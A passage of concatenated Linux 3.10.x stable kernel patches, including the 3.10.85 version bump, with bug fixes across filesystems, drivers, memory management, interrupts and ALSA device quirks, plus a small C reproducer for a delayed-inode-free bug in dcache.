reused the same tag. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman --- net/9p/client.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/net/9p/client.c b/net/9p/client.c index addc116cecf0..853d62327a58 100644 --- a/net/9p/client.c +++ b/net/9p/client.c @@ -828,7 +828,8 @@ static struct p9_req_t *p9_client_zc_rpc(struct p9_client *c, int8_t type, if (err < 0) { if (err == -EIO) c->status = Disconnected; - goto reterr; + if (err != -ERESTARTSYS) + goto reterr; } if (req->status == REQ_STATUS_ERROR) { p9_debug(P9_DEBUG_ERROR, "req_status error %d\n", req->t_err); -- cgit v1.2.3 From b5a1d545f4ca7e5f47c891130c15d9898c08488e Mon Sep 17 00:00:00 2001 From: Al Viro Date: Sun, 12 Jul 2015 10:34:29 -0400 Subject: 9p: don't leave a half-initialized inode sitting around commit 0a73d0a204a4a04a1e110539c5a524ae51f91d6d upstream. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman --- fs/9p/vfs_inode.c | 3 +-- fs/9p/vfs_inode_dotl.c | 3 +-- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/fs/9p/vfs_inode.c b/fs/9p/vfs_inode.c index d86edc8d3fd0..4c7d309e4aa6 100644 --- a/fs/9p/vfs_inode.c +++ b/fs/9p/vfs_inode.c @@ -537,8 +537,7 @@ static struct inode *v9fs_qid_iget(struct super_block *sb, unlock_new_inode(inode); return inode; error: - unlock_new_inode(inode); - iput(inode); + iget_failed(inode); return ERR_PTR(retval); } diff --git a/fs/9p/vfs_inode_dotl.c b/fs/9p/vfs_inode_dotl.c index 53687bbf2296..65b21a24841e 100644 --- a/fs/9p/vfs_inode_dotl.c +++ b/fs/9p/vfs_inode_dotl.c @@ -151,8 +151,7 @@ static struct inode *v9fs_qid_iget_dotl(struct super_block *sb, unlock_new_inode(inode); return inode; error: - unlock_new_inode(inode); - iput(inode); + iget_failed(inode); return ERR_PTR(retval); } -- cgit v1.2.3 From d8c97a8db6c42be159f05dbe02729a85a543aa01 Mon Sep 17 00:00:00 2001 From: Ilya Dryomov Date: Wed, 24 Jun 2015 17:24:33 +0300 Subject: rbd: use GFP_NOIO in rbd_obj_request_create() commit 5a60e87603c4c533492c515b7f62578189b03c9c upstream. rbd_obj_request_create() is called on the main I/O path, so we need to use GFP_NOIO to make sure allocation doesn't blow back on us. Not all callers need this, but I'm still hardcoding the flag inside rather than making it a parameter because a) this is going to stable, and b) those callers shouldn't really use rbd_obj_request_create() and will be fixed in the future. More memory allocation fixes will follow. Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman --- drivers/block/rbd.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/drivers/block/rbd.c b/drivers/block/rbd.c index dd297099c99d..f78cbbb88bd4 100644 --- a/drivers/block/rbd.c +++ b/drivers/block/rbd.c @@ -1851,11 +1851,11 @@ static struct rbd_obj_request *rbd_obj_request_create(const char *object_name, rbd_assert(obj_request_type_valid(type)); size = strlen(object_name) + 1; - name = kmalloc(size, GFP_KERNEL); + name = kmalloc(size, GFP_NOIO); if (!name) return NULL; - obj_request = kmem_cache_zalloc(rbd_obj_request_cache, GFP_KERNEL); + obj_request = kmem_cache_zalloc(rbd_obj_request_cache, GFP_NOIO); if (!obj_request) { kfree(name); return NULL; -- cgit v1.2.3 From f626f57b4ebd92ef9270eca4aa49a541bc66ff27 Mon Sep 17 00:00:00 2001 From: Chris Wilson Date: Sun, 28 Jun 2015 14:18:16 +0100 Subject: agp/intel: Fix typo in needs_ilk_vtd_wa() commit 8b572a4200828b4e75cc22ed2f494b58d5372d65 upstream. In needs_ilk_vtd_wa(), we pass in the GPU device but compared it against the ids for the mobile GPU and the mobile host bridge. That latter is impossible and so likely was just a typo for the desktop GPU device id (which is also buggy). Fixes commit da88a5f7f7d434e2cde1b3e19d952e6d84533662 Author: Chris Wilson Date: Wed Feb 13 09:31:53 2013 +0000 drm/i915: Disable WC PTE updates to w/a buggy IOMMU on ILK Reported-by: Ting-Wei Lan Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=91127 References: https://bugzilla.freedesktop.org/show_bug.cgi?id=60391 Signed-off-by: Chris Wilson Cc: Daniel Vetter Reviewed-by: Daniel Vetter Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman --- drivers/char/agp/intel-gtt.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/char/agp/intel-gtt.c b/drivers/char/agp/intel-gtt.c index b8e2014cb9cb..051aadb75e2c 100644 --- a/drivers/char/agp/intel-gtt.c +++ b/drivers/char/agp/intel-gtt.c @@ -583,7 +583,7 @@ static inline int needs_ilk_vtd_wa(void) /* Query intel_iommu to see if we need the workaround. Presumably that * was loaded first. */ - if ((gpu_devid == PCI_DEVICE_ID_INTEL_IRONLAKE_M_HB || + if ((gpu_devid == PCI_DEVICE_ID_INTEL_IRONLAKE_D_IG || gpu_devid == PCI_DEVICE_ID_INTEL_IRONLAKE_M_IG) && intel_iommu_gfx_mapped) return 1; -- cgit v1.2.3 From c0e05f1c65358e9b770cebaf05200bb6243c28e5 Mon Sep 17 00:00:00 2001 From: Joe Perches Date: Thu, 26 Mar 2015 20:47:10 -0700 Subject: hpfs: hpfs_error: Remove static buffer, use vsprintf extension %pV instead commit a28e4b2b18ccb90df402da3f21e1a83c9d4f8ec1 upstream. Removing unnecessary static buffers is good. Use the vsprintf %pV extension instead. Signed-off-by: Joe Perches Signed-off-by: Mikulas Patocka Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman --- fs/hpfs/super.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/fs/hpfs/super.c b/fs/hpfs/super.c index 962e90c37aec..2c1ce192af8b 100644 --- a/fs/hpfs/super.c +++ b/fs/hpfs/super.c @@ -52,17 +52,20 @@ static void unmark_dirty(struct super_block *s) } /* Filesystem error... */ -static char err_buf[1024]; - void hpfs_error(struct super_block *s, const char *fmt, ...) { + struct va_format vaf; va_list args; va_start(args, fmt); - vsnprintf(err_buf, sizeof(err_buf), fmt, args); + + vaf.fmt = fmt; + vaf.va = &args; + + pr_err("filesystem error: %pV", &vaf); + va_end(args); - printk("HPFS: filesystem error: %s", err_buf); if (!hpfs_sb(s)->sb_was_error) { if (hpfs_sb(s)->sb_err == 2) { printk("; crashing the system because you wanted it\n"); -- cgit v1.2.3 From 27dbfee9cffffa812e56f8a1a2f84f91d1d9ad63 Mon Sep 17 00:00:00 2001 From: Linus Torvalds Date: Thu, 9 Jul 2015 11:20:01 -0700 Subject: Fix firmware loader uevent buffer NULL pointer dereference commit 6f957724b94cb19f5c1c97efd01dd4df8ced323c upstream. The firmware class uevent function accessed the "fw_priv->buf" buffer without the proper locking and testing for NULL. This is an old bug (looks like it goes back to 2012 and commit 1244691c73b2: "firmware loader: introduce firmware_buf"), but for some reason it's triggering only now in 4.2-rc1. Shuah Khan is trying to bisect what it is that causes this to trigger more easily, but in the meantime let's just fix the bug since others are hitting it too (at least Ingo reports having seen it as well). Reported-and-tested-by: Shuah Khan Acked-by: Ming Lei Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman --- drivers/base/firmware_class.c | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/drivers/base/firmware_class.c b/drivers/base/firmware_class.c index 00a565676583..8e08fab0ed2e 100644 --- a/drivers/base/firmware_class.c +++ b/drivers/base/firmware_class.c @@ -513,10 +513,8 @@ static void fw_dev_release(struct device *dev) module_put(THIS_MODULE); } -static int firmware_uevent(struct device *dev, struct kobj_uevent_env *env) +static int do_firmware_uevent(struct firmware_priv *fw_priv, struct kobj_uevent_env *env) { - struct firmware_priv *fw_priv = to_firmware_priv(dev); - if (add_uevent_var(env, "FIRMWARE=%s", fw_priv->buf->fw_id)) return -ENOMEM; if (add_uevent_var(env, "TIMEOUT=%i", loading_timeout)) @@ -527,6 +525,18 @@ static int firmware_uevent(struct device *dev, struct kobj_uevent_env *env) return 0; } +static int firmware_uevent(struct device *dev, struct kobj_uevent_env *env) +{ + struct firmware_priv *fw_priv = to_firmware_priv(dev); + int err = 0; + + mutex_lock(&fw_lock); + if (fw_priv->buf) + err = do_firmware_uevent(fw_priv, env); + mutex_unlock(&fw_lock); + return err; +} + static struct class firmware_class = { .name = "firmware", .class_attrs = firmware_class_attrs, -- cgit v1.2.3 From 40ce7fb598a3e1d56e333a770bf178e32b80cd37 Mon Sep 17 00:00:00 2001 From: Chad Dupuis Date: Thu, 25 Sep 2014 05:17:01 -0400 Subject: qla2xxx: Mark port lost when we receive an RSCN for it. commit ef86cb2059a14b4024c7320999ee58e938873032 upstream. Signed-off-by: Chad Dupuis Signed-off-by: Saurav Kashyap Signed-off-by: Christoph Hellwig Cc: Himanshu Madhani Signed-off-by: Greg Kroah-Hartman --- drivers/scsi/qla2xxx/qla_isr.c | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/drivers/scsi/qla2xxx/qla_isr.c b/drivers/scsi/qla2xxx/qla_isr.c index d2a4c75e5b8f..813e9d8ba351 100644 --- a/drivers/scsi/qla2xxx/qla_isr.c +++ b/drivers/scsi/qla2xxx/qla_isr.c @@ -523,8 +523,9 @@ qla2x00_async_event(scsi_qla_host_t *vha, struct rsp_que *rsp, uint16_t *mb) struct device_reg_2xxx __iomem *reg = &ha->iobase->isp; struct device_reg_24xx __iomem *reg24 = &ha->iobase->isp24; struct device_reg_82xx __iomem *reg82 = &ha->iobase->isp82; - uint32_t rscn_entry, host_pid; + uint32_t rscn_entry, host_pid, tmp_pid; unsigned long flags; + fc_port_t *fcport = NULL; /* Setup to process RIO completion. */ handle_cnt = 0; @@ -918,6 +919,20 @@ skip_rio: if (qla2x00_is_a_vp_did(vha, rscn_entry)) break; + /* + * Search for the rport related to this RSCN entry and mark it + * as lost. + */ + list_for_each_entry(fcport, &vha->vp_fcports, list) { + if (atomic_read(&fcport->state) != FCS_ONLINE) + continue; + tmp_pid = fcport->d_id.b24; + if (fcport->d_id.b24 == rscn_entry) { + qla2x00_mark_device_lost(vha, fcport, 0, 0); + break; + } + } + atomic_set(&vha->loop_down_timer, 0); vha->flags.management_server_logged_in = 0; -- cgit v1.2.3 From 79af5d9f9b3d8180b75e0cc13fa331603342a6f1 Mon Sep 17 00:00:00 2001 From: Nicholas Mc Guire Date: Thu, 7 May 2015 14:47:50 +0200 Subject: MIPS: KVM: Do not sign extend on unsigned MMIO load commit ed9244e6c534612d2b5ae47feab2f55a0d4b4ced upstream. Fix possible unintended sign extension in unsigned MMIO loads by casting to uint16_t in the case of mmio_needed != 2. Signed-off-by: Nicholas Mc Guire Reviewed-by: James Hogan Tested-by: James Hogan Cc: Gleb Natapov Cc: Paolo Bonzini Cc: kvm@vger.kernel.org Cc: linux-mips@linux-mips.org Cc: linux-kernel@vger.kernel.org Patchwork: https://patchwork.linux-mips.org/patch/9985/ Signed-off-by: Ralf Baechle Signed-off-by: James Hogan Signed-off-by: Greg Kroah-Hartman --- arch/mips/kvm/kvm_mips_emul.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/mips/kvm/kvm_mips_emul.c b/arch/mips/kvm/kvm_mips_emul.c index e75ef8219caf..c76f297b7149 100644 --- a/arch/mips/kvm/kvm_mips_emul.c +++ b/arch/mips/kvm/kvm_mips_emul.c @@ -1626,7 +1626,7 @@ kvm_mips_complete_mmio_load(struct kvm_vcpu *vcpu, struct kvm_run *run) if (vcpu->mmio_needed == 2) *gpr = *(int16_t *) run->mmio.data; else - *gpr = *(int16_t *) run->mmio.data; + *gpr = *(uint16_t *)run->mmio.data; break; case 1: -- cgit v1.2.3 From b7c42895e7855fd80fe006d7573e08e536b4b622 Mon Sep 17 00:00:00 2001 From: Greg Kroah-Hartman Date: Mon, 3 Aug 2015 09:32:37 -0700 Subject: Linux 3.10.85 --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index f7b10bb56737..11a7e7bc31f2 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,6 @@ VERSION = 3 PATCHLEVEL = 10 -SUBLEVEL = 84 +SUBLEVEL = 85 EXTRAVERSION = NAME = TOSSUG Baby Fish -- cgit v1.2.3 From efcbc94afe6dd0f8a4b112a0f3385cdc89ea58ba Mon Sep 17 00:00:00 2001 From: "Kirill A. Shutemov" Date: Mon, 6 Jul 2015 23:18:37 +0300 Subject: mm: avoid setting up anonymous pages into file mapping commit 6b7339f4c31ad69c8e9c0b2859276e22cf72176d upstream. Reading page fault handler code I've noticed that under right circumstances kernel would map anonymous pages into file mappings: if the VMA doesn't have vm_ops->fault() and the VMA wasn't fully populated on ->mmap(), kernel would handle page fault to not populated pte with do_anonymous_page(). Let's change page fault handler to use do_anonymous_page() only on anonymous VMA (->vm_ops == NULL) and make sure that the VMA is not shared. For file mappings without vm_ops->fault() or shred VMA without vm_ops, page fault on pte_none() entry would lead to SIGBUS. Signed-off-by: Kirill A. Shutemov Acked-by: Oleg Nesterov Cc: Andrew Morton Cc: Willy Tarreau Cc: stable@vger.kernel.org Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman --- mm/memory.c | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/mm/memory.c b/mm/memory.c index e6b1da3a8924..30bf9cce8c2b 100644 --- a/mm/memory.c +++ b/mm/memory.c @@ -3230,6 +3230,10 @@ static int do_anonymous_page(struct mm_struct *mm, struct vm_area_struct *vma, pte_unmap(page_table); + /* File mapping without ->vm_ops ? */ + if (vma->vm_flags & VM_SHARED) + return VM_FAULT_SIGBUS; + /* Check if we need to add a guard page to the stack */ if (check_stack_guard_page(vma, address) < 0) return VM_FAULT_SIGSEGV; @@ -3495,6 +3499,9 @@ static int do_linear_fault(struct mm_struct *mm, struct vm_area_struct *vma, - vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff; pte_unmap(page_table); + /* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */ + if (!vma->vm_ops->fault) + return VM_FAULT_SIGBUS; return __do_fault(mm, vma, address, pmd, pgoff, flags, orig_pte); } @@ -3706,11 +3713,9 @@ int handle_pte_fault(struct mm_struct *mm, entry = *pte; if (!pte_present(entry)) { if (pte_none(entry)) { - if (vma->vm_ops) { - if (likely(vma->vm_ops->fault)) - return do_linear_fault(mm, vma, address, + if (vma->vm_ops) + return do_linear_fault(mm, vma, address, pte, pmd, flags, entry); - } return do_anonymous_page(mm, vma, address, pte, pmd, flags); } -- cgit v1.2.3 From 518309e081d6328daf443531c3a70cbb10277006 Mon Sep 17 00:00:00 2001 From: Al Viro Date: Wed, 8 Jul 2015 02:42:38 +0100 Subject: freeing unlinked file indefinitely delayed commit 75a6f82a0d10ef8f13cd8fe7212911a0252ab99e upstream. Normally opening a file, unlinking it and then closing will have the inode freed upon close() (provided that it's not otherwise busy and has no remaining links, of course). However, there's one case where that does *not* happen. Namely, if you open it by fhandle with cold dcache, then unlink() and close(). In normal case you get d_delete() in unlink(2) notice that dentry is busy and unhash it; on the final dput() it will be forcibly evicted from dcache, triggering iput() and inode removal. In this case, though, we end up with *two* dentries - disconnected (created by open-by-fhandle) and regular one (used by unlink()). The latter will have its reference to inode dropped just fine, but the former will not - it's considered hashed (it is on the ->s_anon list), so it will stay around until the memory pressure will finally do it in. As the result, we have the final iput() delayed indefinitely. It's trivial to reproduce - void flush_dcache(void) { system("mount -o remount,rw /"); } static char buf[20 * 1024 * 1024]; main() { int fd; union { struct file_handle f; char buf[MAX_HANDLE_SZ]; } x; int m; x.f.handle_bytes = sizeof(x); chdir("/root"); mkdir("foo", 0700); fd = open("foo/bar", O_CREAT | O_RDWR, 0600); close(fd); name_to_handle_at(AT_FDCWD, "foo/bar", &x.f, &m, 0); flush_dcache(); fd = open_by_handle_at(AT_FDCWD, &x.f, O_RDWR); unlink("foo/bar"); write(fd, buf, sizeof(buf)); system("df ."); /* 20Mb eaten */ close(fd); system("df ."); /* should've freed those 20Mb */ flush_dcache(); system("df ."); /* should be the same as #2 */ } will spit out something like Filesystem 1K-blocks Used Available Use% Mounted on /dev/root 322023 303843 1131 100% / Filesystem 1K-blocks Used Available Use% Mounted on /dev/root 322023 303843 1131 100% / Filesystem 1K-blocks Used Available Use% Mounted on /dev/root 322023 283282 21692 93% / - inode gets freed only when dentry is finally evicted (here we trigger than by remount; normally it would've happened in response to memory pressure hell knows when). Acked-by: J. Bruce Fields Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman --- fs/dcache.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/fs/dcache.c b/fs/dcache.c index 38c4a302fab4..90be2809e15a 100644 --- a/fs/dcache.c +++ b/fs/dcache.c @@ -520,6 +520,9 @@ repeat: return; } + if (unlikely(dentry->d_flags & DCACHE_DISCONNECTED)) + goto kill_it; + if (dentry->d_flags & DCACHE_OP_DELETE) { if (dentry->d_op->d_delete(dentry)) goto kill_it; -- cgit v1.2.3 From 3a893ef1923c6f93ca477ff583efe893ff98a109 Mon Sep 17 00:00:00 2001 From: Martin Schwidefsky Date: Mon, 6 Jul 2015 17:58:19 +0200 Subject: s390/sclp: clear upper register halves in _sclp_print_early commit f9c87a6f46d508eae0d9ae640be98d50f237f827 upstream. If the kernel is compiled with gcc 5.1 and the XZ compression option the decompress_kernel function calls _sclp_print_early in 64-bit mode while the content of the upper register half of %r6 is non-zero. This causes a specification exception on the servc instruction in _sclp_servc. The _sclp_print_early function saves and restores the upper registers halves but it fails to clear them for the 31-bit code of the mini sclp driver. Signed-off-by: Martin Schwidefsky Signed-off-by: Greg Kroah-Hartman --- arch/s390/kernel/sclp.S | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/arch/s390/kernel/sclp.S b/arch/s390/kernel/sclp.S index 29bd7bec4176..1ecd47b5e250 100644 --- a/arch/s390/kernel/sclp.S +++ b/arch/s390/kernel/sclp.S @@ -276,6 +276,8 @@ ENTRY(_sclp_print_early) jno .Lesa2 ahi %r15,-80 stmh %r6,%r15,96(%r15) # store upper register halves + basr %r13,0 + lmh %r0,%r15,.Lzeroes-.(%r13) # clear upper register halves .Lesa2: #endif lr %r10,%r2 # save string pointer @@ -299,6 +301,8 @@ ENTRY(_sclp_print_early) #endif lm %r6,%r15,120(%r15) # restore registers br %r14 +.Lzeroes: + .fill 64,4,0 .LwritedataS4: .long 0x00760005 # SCLP command for write data -- cgit v1.2.3 From 508a750fe6cc950bad1cca07f1637ce4815b5420 Mon Sep 17 00:00:00 2001 From: Alexey Brodkin Date: Mon, 13 Jul 2015 10:25:17 +0300 Subject: ARC: make sure instruction_pointer() returns unsigned value commit f51e2f1911122879eefefa4c592dea8bf794b39c upstream. Currently instruction_pointer() returns pt_regs->ret and so return value is of type "long", which implicitly stands for "signed long". While that's perfectly fine when dealing with 32-bit values if return value of instruction_pointer() gets assigned to 64-bit variable sign extension may happen. And at least in one real use-case it happens already. In perf_prepare_sample() return value of perf_instruction_pointer() (which is an alias to instruction_pointer() in case of ARC) is assigned to (struct perf_sample_data)->ip (which type is "u64"). And what we see if instuction pointer points to user-space application that in case of ARC lays below 0x8000_0000 "ip" gets set properly with leading 32 zeros. But if instruction pointer points to kernel address space that starts from 0x8000_0000 then "ip" is set with 32 leadig "f"-s. I.e. id instruction_pointer() returns 0x8100_0000, "ip" will be assigned with 0xffff_ffff__8100_0000. Which is obviously wrong. In particular that issuse broke output of perf, because perf was unable to associate addresses like 0xffff_ffff__8100_0000 with anything from /proc/kallsyms. That's what we used to see: ----------->8---------- 6.27% ls [unknown] [k] 0xffffffff8046c5cc 2.96% ls libuClibc-0.9.34-git.so [.] memcpy 2.25% ls libuClibc-0.9.34-git.so [.] memset 1.66% ls [unknown] [k] 0xffffffff80666536 1.54% ls libuClibc-0.9.34-git.so [.] 0x000224d6 1.18% ls libuClibc-0.9.34-git.so [.] 0x00022472 ----------->8---------- With that change perf output looks much better now: ----------->8---------- 8.21% ls [kernel.kallsyms] [k] memset 3.52% ls libuClibc-0.9.34-git.so [.] memcpy 2.11% ls libuClibc-0.9.34-git.so [.] malloc 1.88% ls libuClibc-0.9.34-git.so [.] memset 1.64% ls [kernel.kallsyms] [k] _raw_spin_unlock_irqrestore 1.41% ls [kernel.kallsyms] [k] __d_lookup_rcu ----------->8---------- Signed-off-by: Alexey Brodkin Cc: arc-linux-dev@synopsys.com Cc: linux-kernel@vger.kernel.org Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman --- arch/arc/include/asm/ptrace.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/arc/include/asm/ptrace.h b/arch/arc/include/asm/ptrace.h index 2046a89a57cf..78485493639a 100644 --- a/arch/arc/include/asm/ptrace.h +++ b/arch/arc/include/asm/ptrace.h @@ -83,7 +83,7 @@ struct callee_regs { long r13; }; -#define instruction_pointer(regs) ((regs)->ret) +#define instruction_pointer(regs) (unsigned long)((regs)->ret) #define profile_pc(regs) instruction_pointer(regs) /* return 1 if user mode or 0 if kernel mode */ -- cgit v1.2.3 From dcc2305a489922a4fff7072bc811492f0fa5b2ed Mon Sep 17 00:00:00 2001 From: Thomas Gleixner Date: Thu, 16 Jul 2015 14:10:17 +0200 Subject: genirq: Prevent resend to interrupts marked IRQ_NESTED_THREAD MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit commit 75a06189fc508a2acf470b0b12710362ffb2c4b1 upstream. The resend mechanism happily calls the interrupt handler of interrupts which are marked IRQ_NESTED_THREAD from softirq context. This can result in crashes because the interrupt handler is not the proper way to invoke the device handlers. They must be invoked via handle_nested_irq. Prevent the resend even if the interrupt has no valid parent irq set. Its better to have a lost interrupt than a crashing machine. Reported-by: Uwe Kleine-König Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman --- kernel/irq/resend.c | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/kernel/irq/resend.c b/kernel/irq/resend.c index 9065107f083e..7a5237a1bce5 100644 --- a/kernel/irq/resend.c +++ b/kernel/irq/resend.c @@ -75,13 +75,21 @@ void check_irq_resend(struct irq_desc *desc, unsigned int irq) !desc->irq_data.chip->irq_retrigger(&desc->irq_data)) { #ifdef CONFIG_HARDIRQS_SW_RESEND /* - * If the interrupt has a parent irq and runs - * in the thread context of the parent irq, - * retrigger the parent. + * If the interrupt is running in the thread + * context of the parent irq we need to be + * careful, because we cannot trigger it + * directly. */ - if (desc->parent_irq && - irq_settings_is_nested_thread(desc)) + if (irq_settings_is_nested_thread(desc)) { + /* + * If the parent_irq is valid, we + * retrigger the parent, otherwise we + * do nothing. + */ + if (!desc->parent_irq) + return; irq = desc->parent_irq; + } /* Set it pending and activate the softirq: */ set_bit(irq, irqs_resend); tasklet_schedule(&resend_tasklet); -- cgit v1.2.3 From a9049040dc3cea7f1a23cb57e454ebde4310089f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Dominic=20Sacr=C3=A9?= Date: Tue, 30 Jun 2015 17:41:33 +0200 Subject: ALSA: usb-audio: Add MIDI support for Steinberg MI2/MI4 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit commit 0689a86ae814f39af94a9736a0a5426dd82eb107 upstream. The Steinberg MI2 and MI4 interfaces are compatible with the USB class audio spec, but the MIDI part of the devices is reported as a vendor specific interface. This patch adds entries to quirks-table.h to recognize the MIDI endpoints. Audio functionality was already working and is unaffected by this change. Signed-off-by: Dominic Sacré Signed-off-by: Albert Huitsing Acked-by: Clemens Ladisch Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman --- sound/usb/quirks-table.h | 68 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 68 insertions(+) diff --git a/sound/usb/quirks-table.h b/sound/usb/quirks-table.h index d5bed1d25713..45d586b6e8b5 100644 --- a/sound/usb/quirks-table.h +++ b/sound/usb/quirks-table.h @@ -2773,6 +2773,74 @@ YAMAHA_DEVICE(0x7010, "UB99"), } }, +/* Steinberg devices */ +{ + /* Steinberg MI2 */ + USB_DEVICE_VENDOR_SPEC(0x0a4e, 0x2040), + .driver_info = (unsigned long) & (const struct snd_usb_audio_quirk) { + .ifnum = QUIRK_ANY_INTERFACE, + .type = QUIRK_COMPOSITE, + .data = & (const struct snd_usb_audio_quirk[]) { + { + .ifnum = 0, + .type = QUIRK_AUDIO_STANDARD_INTERFACE + }, + { + .ifnum = 1, + .type = QUIRK_AUDIO_STANDARD_INTERFACE + }, + { + .ifnum = 2, + .type = QUIRK_AUDIO_STANDARD_INTERFACE + }, + { + .ifnum = 3, + .type = QUIRK_MIDI_FIXED_ENDPOINT, + .data = &(const struct snd_usb_midi_endpoint_info) { + .out_cables = 0x0001, + .in_cables = 0x0001 + } + }, + { + .ifnum = -1 + } + } + } +}, +{ + /* Steinberg MI4 */ + USB_DEVICE_VENDOR_SPEC(0x0a4e, 0x4040), + .driver_info = (unsigned long) & (const struct snd_usb_audio_quirk) { + .ifnum = QUIRK_ANY_INTERFACE, + .type = QUIRK_COMPOSITE, + .data = & (const struct snd_usb_audio_quirk[]) { + { + .ifnum = 0, + .type = QUIRK_AUDIO_STANDARD_INTERFACE + }, + { + .ifnum = 1, + .type = QUIRK_AUDIO_STANDARD_INTERFACE + }, + { + .ifnum = 2, + .type = QUIRK_AUDIO_STANDARD_INTERFACE + }, + { + .ifnum = 3, + .type = QUIRK_MIDI_FIXED_ENDPOINT, + .data = &(const struct snd_usb_midi_endpoint_info) { + .out_cables = 0x0001, + .in_cables = 0x0001 + } + }, + { + .ifnum = -1 + } + } + } +}, + /* TerraTec devices */ { USB_DEVICE_VENDOR_SPEC(0x0ccd, 0x0012), -- cgit v1.2.3 From 025b8126c559fcd2f19e969a896e6045aa778e54 Mon Sep 17 00:00:00 2001 From: Yao-Wen Mao Date: Wed, 29 Jul 2015 15:13:54 +0800 Subject: ALSA: usb-audio: add dB range mapping for some devices commit 2d1cb7f658fb9c3ba8f9dab8aca297d4dfdec835 upstream. Add the correct dB ranges of Bose Companion 5 and Drangonfly DAC 1.2. Signed-off-by: Yao-Wen Mao Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman --- sound/usb/mixer_maps.c | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/sound/usb/mixer_maps.c b/sound/usb/mixer_maps.c index d06fbd9f7cbe..2d17f40fb16d 100644 --- a/sound/usb/mixer_maps.c +++ b/sound/usb/mixer_maps.c @@ -330,6 +330,20 @@ static const struct usbmix_name_map scms_usb3318_map[] = { { 0 } }; +/* Bose companion 5, the dB conversion factor is 16 instead of 256 */ +static struct usbmix_dB_map bose_companion5_dB = {-5006, -6}; +static struct usbmix_name_map bose_companion5_map[] = { + { 3, NULL, .dB = &bose_companion5_dB }, + { 0 } /* terminator */ +}; + +/* Dragonfly DAC 1.2, the dB conversion factor is 1 instead of 256 */ +static struct usbmix_dB_map dragonfly_1_2_dB = {0, 5000}; +static struct usbmix_name_map dragonfly_1_2_map[] = { + { 7, NULL, .dB = &dragonfly_1_2_dB }, + { 0 } /* terminator */ +}; + /* * Control map entries */ @@ -432,6 +446,16 @@ static struct usbmix_ctl_map usbmix_ctl_maps[] = { .id = USB_ID(0x25c4, 0x0003), .map = scms_usb3318_map, }, + { + /* Bose Companion 5 */ + .id = USB_ID(0x05a7, 0x1020), + .map = bose_companion5_map, + }, + { + /* Dragonfly DAC 1.2 */ + .id = USB_ID(0x21b4, 0x0081), + .map = dragonfly_1_2_map, + }, { 0 } /* terminator */ }; -- cgit v1.2.3 From c97464e307a0810f9a1f464c6a2f6287073cce59 Mon Sep 17 00:00:00 2001 From: Takashi Iwai Date: Thu, 30 Jul 2015 22:30:29 +0200 Subject: ALSA: hda - Fix MacBook Pro 5,2 quirk commit 649ccd08534ee26deb2e5b08509800d0e95167f5 upstream. MacBook Pro 5,2 with ALC889 codec had already a fixup entry, but this seems not working correctly, a fix for pin NID 0x15 is needed in addition. It's equivalent with the fixup for MacBook Air 1,1, so use this instead. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=102131 Reported-and-tested-by: Jeffery Miller Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman --- sound/pci/hda/patch_realtek.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sound/pci/hda/patch_realtek.c b/sound/pci/hda/patch_realtek.c index a82d6576fe0f..d30252e7f3e8 100644 --- a/sound/pci/hda/patch_realtek.c +++ b/sound/pci/hda/patch_realtek.c @@ -2204,7 +2204,7 @@ static const struct snd_pci_quirk alc882_fixup_tbl[] = { SND_PCI_QUIRK(0x106b, 0x4300, "iMac 9,1", ALC889_FIXUP_IMAC91_VREF), SND_PCI_QUIRK(0x106b, 0x4600, "MacbookPro 5,2", ALC889_FIXUP_IMAC91_VREF), SND_PCI_QUIRK(0x106b, 0x4900, "iMac 9,1 Aluminum", ALC889_FIXUP_IMAC91_VREF), - SND_PCI_QUIRK(0x106b, 0x4a00, "Macbook 5,2", ALC889_FIXUP_IMAC91_VREF), + SND_PCI_QUIRK(0x106b, 0x4a00, "Macbook 5,2", ALC889_FIXUP_MBA11_VREF), SND_PCI_QUIRK(0x1071, 0x8258, "Evesham Voyaeger", ALC882_FIXUP_EAPD), SND_PCI_QUIRK(0x1462, 0x7350, "MSI-7350", ALC889_FIXUP_CD), -- cgit v1.2.3 From bdedc624e9864fb39ddd2f0d99925a8746ef91db Mon Sep 17 00:00:00 2001 From: 